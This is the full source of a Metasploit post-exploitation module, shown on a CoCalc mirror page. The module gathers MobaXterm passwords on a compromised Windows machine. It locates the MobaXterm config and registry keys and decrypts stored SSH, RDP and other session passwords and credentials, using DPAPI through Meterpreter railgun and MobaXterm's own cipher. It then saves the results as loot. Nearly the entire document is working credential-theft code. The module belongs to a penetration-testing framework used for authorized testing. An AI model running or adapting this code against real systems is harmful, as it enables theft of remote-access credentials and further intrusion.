CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/moba_xterm.rb
Views: 11704
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
#
5
# @blurbdust based this code off of https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb
6
# and https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/enum_ms_product_keys.rb
7
##
8
9
class MetasploitModule < Msf::Post
10
include Msf::Post::Windows::Registry
11
include Msf::Post::Windows::UserProfiles
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Windows Gather MobaXterm Passwords',
18
'Description' => %q{
19
This module will determine if MobaXterm is installed on the target system and, if it is, it will try to
20
dump all saved session information from the target. The passwords for these saved sessions will then be decrypted
21
where possible, using the decryption information that HyperSine reverse engineered.
22
},
23
'License' => MSF_LICENSE,
24
'References' => [
25
[ 'URL', 'https://blog.kali-team.cn/Metasploit-MobaXterm-0b976b993c87401598be4caab8cbe0cd' ]
26
],
27
'Author' => ['Kali-Team <kali-team[at]qq.com>'],
28
'Platform' => [ 'win' ],
29
'SessionTypes' => [ 'meterpreter' ],
30
'Notes' => {
31
'Stability' => [],
32
'Reliability' => [],
33
'SideEffects' => []
34
},
35
'Compat' => {
36
'Meterpreter' => {
37
'Commands' => %w[
38
stdapi_railgun_api
39
stdapi_railgun_api_multi
40
stdapi_railgun_memread
41
stdapi_railgun_memwrite
42
stdapi_sys_process_get_processes
43
]
44
}
45
}
46
)
47
)
48
register_options(
49
[
50
OptString.new('MASTER_PASSWORD', [ false, 'If you know the password, you can skip decrypting the master password. If not, it will be decrypted automatically']),
51
OptString.new('CONFIG_PATH', [ false, 'Specifies the config file path for MobaXterm']),
52
]
53
)
54
end
55
56
def windows_unprotect(entropy, data)
57
begin
58
pid = session.sys.process.getpid
59
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
60
61
# write entropy to memory
62
emem = process.memory.allocate(128)
63
process.memory.write(emem, entropy)
64
# write encrypted data to memory
65
mem = process.memory.allocate(128)
66
process.memory.write(mem, data)
67
68
# enumerate all processes to find the one that we're are currently executing as,
69
# and then fetch the architecture attribute of that process by doing ["arch"]
70
# to check if it is an 32bits process or not.
71
if session.sys.process.each_process.find { |i| i['pid'] == pid } ['arch'] == 'x86'
72
addr = [mem].pack('V')
73
len = [data.length].pack('V')
74
75
eaddr = [emem].pack('V')
76
elen = [entropy.length].pack('V')
77
78
ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 0, 8)
79
len, addr = ret['pDataOut'].unpack('V2')
80
else
81
# Convert using rex, basically doing: [mem & 0xffffffff, mem >> 32].pack("VV")
82
addr = Rex::Text.pack_int64le(mem)
83
len = Rex::Text.pack_int64le(data.length)
84
85
eaddr = Rex::Text.pack_int64le(emem)
86
elen = Rex::Text.pack_int64le(entropy.length)
87
88
ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 0, 16)
89
p_data = ret['pDataOut'].unpack('VVVV')
90
len = p_data[0] + (p_data[1] << 32)
91
addr = p_data[2] + (p_data[3] << 32)
92
end
93
return '' if len == 0
94
95
return process.memory.read(addr, len)
96
rescue Rex::Post::Meterpreter::RequestError => e
97
vprint_error(e.message)
98
end
99
return ''
100
end
101
102
def key_crafter(config)
103
if !config['SessionP'].empty? && !config['SessionP'].nil?
104
s1 = config['SessionP']
105
s1 += s1 while s1.length < 20
106
key_space = [s1.upcase, s1.upcase, s1.downcase, s1.downcase]
107
key = '0d5e9n1348/U2+67'.bytes
108
for i in (0..key.length - 1)
109
b = key_space[(i + 1) % key_space.length].bytes[i]
110
if !key.include?(b) && '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz+/'.include?(b)
111
key[i] = b
112
end
113
end
114
return key
115
end
116
end
117
118
def mobaxterm_decrypt(ciphertext, key)
119
ct = ''.bytes
120
ciphertext.each_byte do |c|
121
ct << c if key.include?(c)
122
end
123
if ct.length.even?
124
pt = ''.bytes
125
(0..ct.length - 1).step(2) do |i|
126
l = key.index(ct[i])
127
key = key[0..-2].insert(0, key[-1])
128
h = key.index(ct[i + 1])
129
key = key[0..-2].insert(0, key[-1])
130
next if l == -1 || h == -1
131
132
pt << (16 * h + l)
133
end
134
pp pt.pack('c*')
135
end
136
end
137
138
def mobaxterm_crypto_safe(ciphertext, config)
139
return nil if ciphertext.nil? || ciphertext.empty?
140
141
iv = ("\x00" * 16)
142
master_password = datastore['MASTER_PASSWORD'] || ''
143
sesspass = config['Sesspass']["#{config['Sesspass']['LastUsername']}@#{config['Sesspass']['LastComputername']}"]
144
data_ini = Rex::Text.decode_base64('AQAAANCMnd8BFdERjHoAwE/Cl+s=') + Rex::Text.decode_base64(sesspass)
145
key = Rex::Text.decode_base64(windows_unprotect(config['SessionP'], data_ini))[0, 32]
146
# Use the set master password only when using the specified path
147
if !master_password.empty? && datastore['CONFIG_PATH']
148
key = OpenSSL::Digest::SHA512.new(master_password).digest[0, 32]
149
end
150
aes = OpenSSL::Cipher.new('AES-256-ECB').encrypt
151
aes.key = key
152
new_iv = aes.update(iv)
153
# segment_size = 8
154
new_aes = OpenSSL::Cipher.new('AES-256-CFB8').decrypt
155
new_aes.key = key
156
new_aes.iv = new_iv
157
aes.padding = 0
158
padded_plain_bytes = new_aes.update(Rex::Text.decode_base64(ciphertext))
159
padded_plain_bytes << new_aes.final
160
return padded_plain_bytes
161
end
162
163
def gather_password(config)
164
result = []
165
if config['PasswordsInRegistry'] == '1'
166
parent_key = "#{config['RegistryKey']}\\P"
167
return if !registry_key_exist?(parent_key)
168
169
registry_enumvals(parent_key).each do |connect|
170
username, server_host = connect.split('@')
171
protocol, username = username.split(':') if username.include?(':')
172
password = registry_getvaldata(parent_key, connect)
173
key = key_crafter(config)
174
plaintext = config['Sesspass'].nil? ? mobaxterm_decrypt(password, key) : mobaxterm_crypto_safe(password, config)
175
result << {
176
protocol: protocol,
177
server_host: server_host,
178
username: username,
179
password: plaintext
180
}
181
end
182
else
183
config['Passwords'].each_key do |connect|
184
username, server_host = connect.split('@')
185
protocol, username = username.split(':') if username.include?(':')
186
password = config['Passwords'][connect]
187
key = key_crafter(config)
188
plaintext = config['Sesspass'].nil? ? mobaxterm_decrypt(password, key) : mobaxterm_crypto_safe(password, config)
189
result << {
190
protocol: protocol,
191
server_host: server_host,
192
username: username,
193
password: plaintext
194
}
195
end
196
end
197
result
198
end
199
200
def gather_creds(config)
201
result = []
202
if config['PasswordsInRegistry'] == '1'
203
parent_key = "#{config['RegistryKey']}\\C"
204
return if !registry_key_exist?(parent_key)
205
206
registry_enumvals(parent_key).each do |name|
207
username, password = registry_getvaldata(parent_key, name).split(':')
208
key = key_crafter(config)
209
plaintext = config['Sesspass'].nil? ? mobaxterm_decrypt(password, key) : mobaxterm_crypto_safe(password, config)
210
result << {
211
name: name,
212
username: username,
213
password: plaintext
214
}
215
end
216
else
217
config['Credentials'].each_key do |name|
218
username, password = config['Credentials'][name].split(':')
219
key = key_crafter(config)
220
plaintext = config['Sesspass'].nil? ? mobaxterm_decrypt(password, key) : mobaxterm_crypto_safe(password, config)
221
result << {
222
name: name,
223
username: username,
224
password: plaintext
225
}
226
end
227
end
228
229
result
230
end
231
232
def parser_ini(ini_config_path)
233
valuable_info = {}
234
if session.fs.file.exist?(ini_config_path)
235
file_contents = read_file(ini_config_path)
236
if file_contents.nil? || file_contents.empty?
237
print_warning('Configuration file content is empty')
238
return
239
else
240
config = Rex::Parser::Ini.from_s(file_contents)
241
valuable_info['PasswordsInRegistry'] = config['Misc']['PasswordsInRegistry'] || '0'
242
valuable_info['SessionP'] = config['Misc']['SessionP'] || 0
243
valuable_info['Sesspass'] = config['Sesspass'] || nil
244
valuable_info['Passwords'] = config['Passwords'] || {}
245
valuable_info['Credentials'] = config['Credentials'] || {}
246
valuable_info['Bookmarks'] = config['Bookmarks'] || nil
247
return valuable_info
248
end
249
else
250
print_warning('Could not find the config path for the MobaXterm. Ensure that MobaXterm is installed on the target.')
251
return false
252
end
253
end
254
255
def parse_bookmarks(bookmarks)
256
result = []
257
protocol_hash = { '#109#0' => 'ssh', '#98#1' => 'telnet', '#128#5' => 'vnc', '#140#7' => 'sftp', '#130#6' => 'ftp', '#100#2' => 'rsh', '#91#4' => 'rdp' }
258
bookmarks.each_key do |key|
259
next if key.eql?('ImgNum') || key.eql?('SubRep') || bookmarks[key].empty?
260
261
bookmarks_split = bookmarks[key].strip.split('%')
262
if protocol_hash.include?(bookmarks_split[0])
263
protocol = protocol_hash[bookmarks_split[0]]
264
server_host = bookmarks_split[1]
265
port = bookmarks_split[2]
266
username = bookmarks_split[3]
267
result << { name: key, protocol: protocol, server_host: server_host, port: port, username: username }
268
else
269
print_warning("Parsing is not supported: #{bookmarks[key].strip}")
270
end
271
end
272
return result
273
end
274
275
def entry(config)
276
pws_result = gather_password(config)
277
creds_result = gather_creds(config)
278
bookmarks_result = parse_bookmarks(config['Bookmarks'])
279
return pws_result, creds_result, bookmarks_result
280
end
281
282
def run
283
pw_tbl = Rex::Text::Table.new(
284
'Header' => 'MobaXterm Password',
285
'Columns' => [
286
'Protocol',
287
'Hostname',
288
'Username',
289
'Password',
290
]
291
)
292
bookmarks_tbl = Rex::Text::Table.new(
293
'Header' => 'MobaXterm Bookmarks',
294
'Columns' => [
295
'BookmarksName',
296
'Protocol',
297
'ServerHost',
298
'Port',
299
'Credentials or Passwords',
300
]
301
)
302
creds_tbl = Rex::Text::Table.new(
303
'Header' => 'MobaXterm Credentials',
304
'Columns' => [
305
'CredentialsName',
306
'Username',
307
'Password',
308
]
309
)
310
print_status("Gathering MobaXterm session information from #{sysinfo['Computer']}")
311
ini_config_path = datastore['CONFIG_PATH'] || "#{registry_getvaldata("HKU\\#{session.sys.config.getsid}\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders", 'Personal')}\\MobaXterm\\MobaXterm.ini"
312
print_status("Specifies the config file path for MobaXterm #{ini_config_path}")
313
config = parser_ini(ini_config_path)
314
unless config
315
return
316
end
317
318
parent_key = "HKEY_USERS\\#{session.sys.config.getsid}\\Software\\Mobatek\\MobaXterm"
319
config['RegistryKey'] = parent_key
320
pws_result, creds_result, bookmarks_result = entry(config)
321
pws_result.each do |item|
322
pw_tbl << item.values
323
end
324
bookmarks_result.each do |item|
325
bookmarks_tbl << item.values
326
end
327
creds_result.each do |item|
328
creds_tbl << item.values
329
end
330
331
if pw_tbl.rows.count > 0
332
path = store_loot('host.moba_xterm', 'text/plain', session, pw_tbl, 'moba_xterm.txt', 'MobaXterm Password')
333
print_good("Passwords stored in: #{path}")
334
print_good(pw_tbl.to_s)
335
end
336
if creds_tbl.rows.count > 0
337
path = store_loot('host.moba_xterm', 'text/plain', session, creds_tbl, 'moba_xterm.txt', 'MobaXterm Credentials')
338
print_good("Credentials stored in: #{path}")
339
print_good(creds_tbl.to_s)
340
end
341
if bookmarks_tbl.rows.count > 0
342
path = store_loot('host.moba_xterm', 'text/plain', session, bookmarks_tbl, 'moba_xterm.txt', 'MobaXterm Bookmarks')
343
print_good("Bookmarks stored in: #{path}")
344
print_good(bookmarks_tbl.to_s)
345
end
346
if pw_tbl.rows.count == 0 && creds_tbl.rows.count == 0 && bookmarks_tbl.rows.count == 0
347
print_error("I can't find anything!")
348
end
349
end
350
end
351
352